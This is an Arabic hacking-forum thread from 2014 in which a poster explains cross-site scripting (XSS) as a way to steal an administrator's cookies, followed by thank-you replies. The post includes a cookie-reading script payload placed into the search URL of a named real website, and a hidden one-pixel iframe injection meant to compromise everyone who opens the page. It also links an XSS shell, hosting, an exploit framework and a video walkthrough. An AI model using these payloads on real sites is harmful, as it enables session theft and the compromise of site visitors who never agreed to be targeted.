المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : تعرف على ثغرة xss وكل ما يتعلق بها وبرامجها



aymandz
01-24-2014, 08:15 PM
تعريفها
و هى ثغرة من خلالها يمكنك سحب الكوكيز الخاص بالادمن
ثغرة [ XSS ] هي اختصار لـ[ Cross site scripting ] وسبب عدم كتابتها بالاختصار الصحيح [ CSS ] لكي لا يحدث خلط مع لغة الـ[ CSS ] الانماط القياسية المعروفة [ Cascading Style Sheets ] , وبذلك تم تسميتها [ XSS ]
ثغرات [ XSS ] لها نوعين وهما
1 ثغرات XSS ثابته - مخزّنه [ Persistent - stored ]
2 ثغرات XSS غير ثابته - غير مخزّنه [ Non persistent - Reflecte
ثغرات XSS الثابته هي اخطر من النوع الغير ثابت , وذلك لان ثغرات XSS الثابته , مايدخله الزائر ثابت بالصفحه , اي مايدخله مثلاً يخزّن بقاعدة بيانات السكربت
ثغرات الغير ثابته , هي النوع الاكثر انتشاراً وليس خطورة وهي التي تقوم على اساس الادخال الخاص مثلاً , كما ذكرنا سابقاً عند البحث في المنتديات هنا الحالة تسمى غير ثابته
الكود المهم في ثغرات xss

**********alert(**************)</script>**********alert("XSS")</script>
هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في ثغرات
هذا السكربت و ظيفته هي سرقة الكوكيز و هذا الكوكيز
يحتوي على اليوزر نايم و الباسوورد المشفرmd5
مثلا ناخذ هذا الموقع

https://www.calacademy.org
وريح يكون استغلال مثلا بشكل هذا
https://www.calacademy.org/search.php?q=
الكود هذا نحطو في اخير بعد العلامة (=)
نحط هذا الكود وانت يمكن تغير ما بينا قوسين الملف المصاب
**********alert(document.cookie)</script>**********alert("XSS")</script>
المهم يصبح هيك

https://www.calacademy.org/search.php?q=%3Cscript%3Ealert%28document.cookie%2 9%3C/script%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

هناك العديد من الطرق , وجميعها تعتبر من الطرق البرمجية ( اي حقن اكواد برمجية ) , لذلك كل ما زادت خلفية المخترق في البرمجة كل ما تمكن من التعامل مع هذه الثغرات باحترافية اكثر .
1 – تلغيم الصفحة .
وهنا سيتم حقن اكواد HTML لاضافة صفحة خفية ملغومة في داخل الموقع ( الصفحة ) المصاب

<html>
<iframe name=”I1″ src=”https://www.calacademy.org/server.html” marginwidth=”1″ marginheight=”1″ height=”1″ width=”1″ scrolling=”no” border=”0″ frameborder=”0″>
</iframe>
</iframe></p>
</html>
عندها سيتم فتح هذا الموقع بطريقة خفية , وسيتم اختراق كل من دخل للصفحة التي تم حقن الكود فيها .
الادوات :
شل g.h.t.xssshell (http://upload.sa3eka.com/do.php?id=4261)
استضافة تدعم asp (https://hosting.parking.ru/signup.aspx)
برنامج ftp FileZilla_3.7.3_win32-setup.exe Show file details (recommended) (https://filezilla-project.org/download.php?show_all=1)
موقع للتلغيم (كل شغص يختار اي موقع للتلغيم )
برنامج الختراق (http://opensecurity.in/owasp-xenotix-xss-exploit-framework-v4-5-relesed/)
وهذا الفيديو يشرح لكم طريقة استغلال الثغرة (http://www.youtube.com/watch?v=jm1-_nTlhzY)
وفي الاخير اتمنى ان اكون قد اوصلت لكم المعلومات الكافية
وارجو من الله تعالى ان يوفقني ويوفقكم فيما يحبه ويرضاه والسلام عليكم
لاتنسونا بتققيم الموضوع

- - - تم التحديث - - -

Jordan Ghost
01-24-2014, 08:28 PM
بارك الله فيك ننتظر منك المزيد صديقي مشكور للشرح

shhaby
01-24-2014, 08:58 PM
بارك الله فيك على الموضوع ... بالتوفيق

aymandz
01-25-2014, 01:22 AM
وفيكم بركة

dark prince
01-25-2014, 06:20 AM
بارك الله فيك شرح واضح و مفيد
واصل تقدمك في انتظار جديدك

commanderegy
01-28-2014, 10:31 AM
جزاك الله خيرا

the punisher
06-12-2014, 08:44 PM
مشكور عالمجهود الرائع اخي بارك الله فيك

b!àz!k
06-14-2014, 02:06 AM
بارك الله فيك

sohayl111
06-15-2014, 10:16 PM
بارك الله فيك

yasser abdelhamid
06-18-2014, 03:47 AM
بارك الله فيك

herealmukalla
07-07-2014, 12:22 AM
بارك الله فيك على الموضوع ... بالتوفيق

mismo
07-11-2014, 07:11 AM
جزاك الله كل خير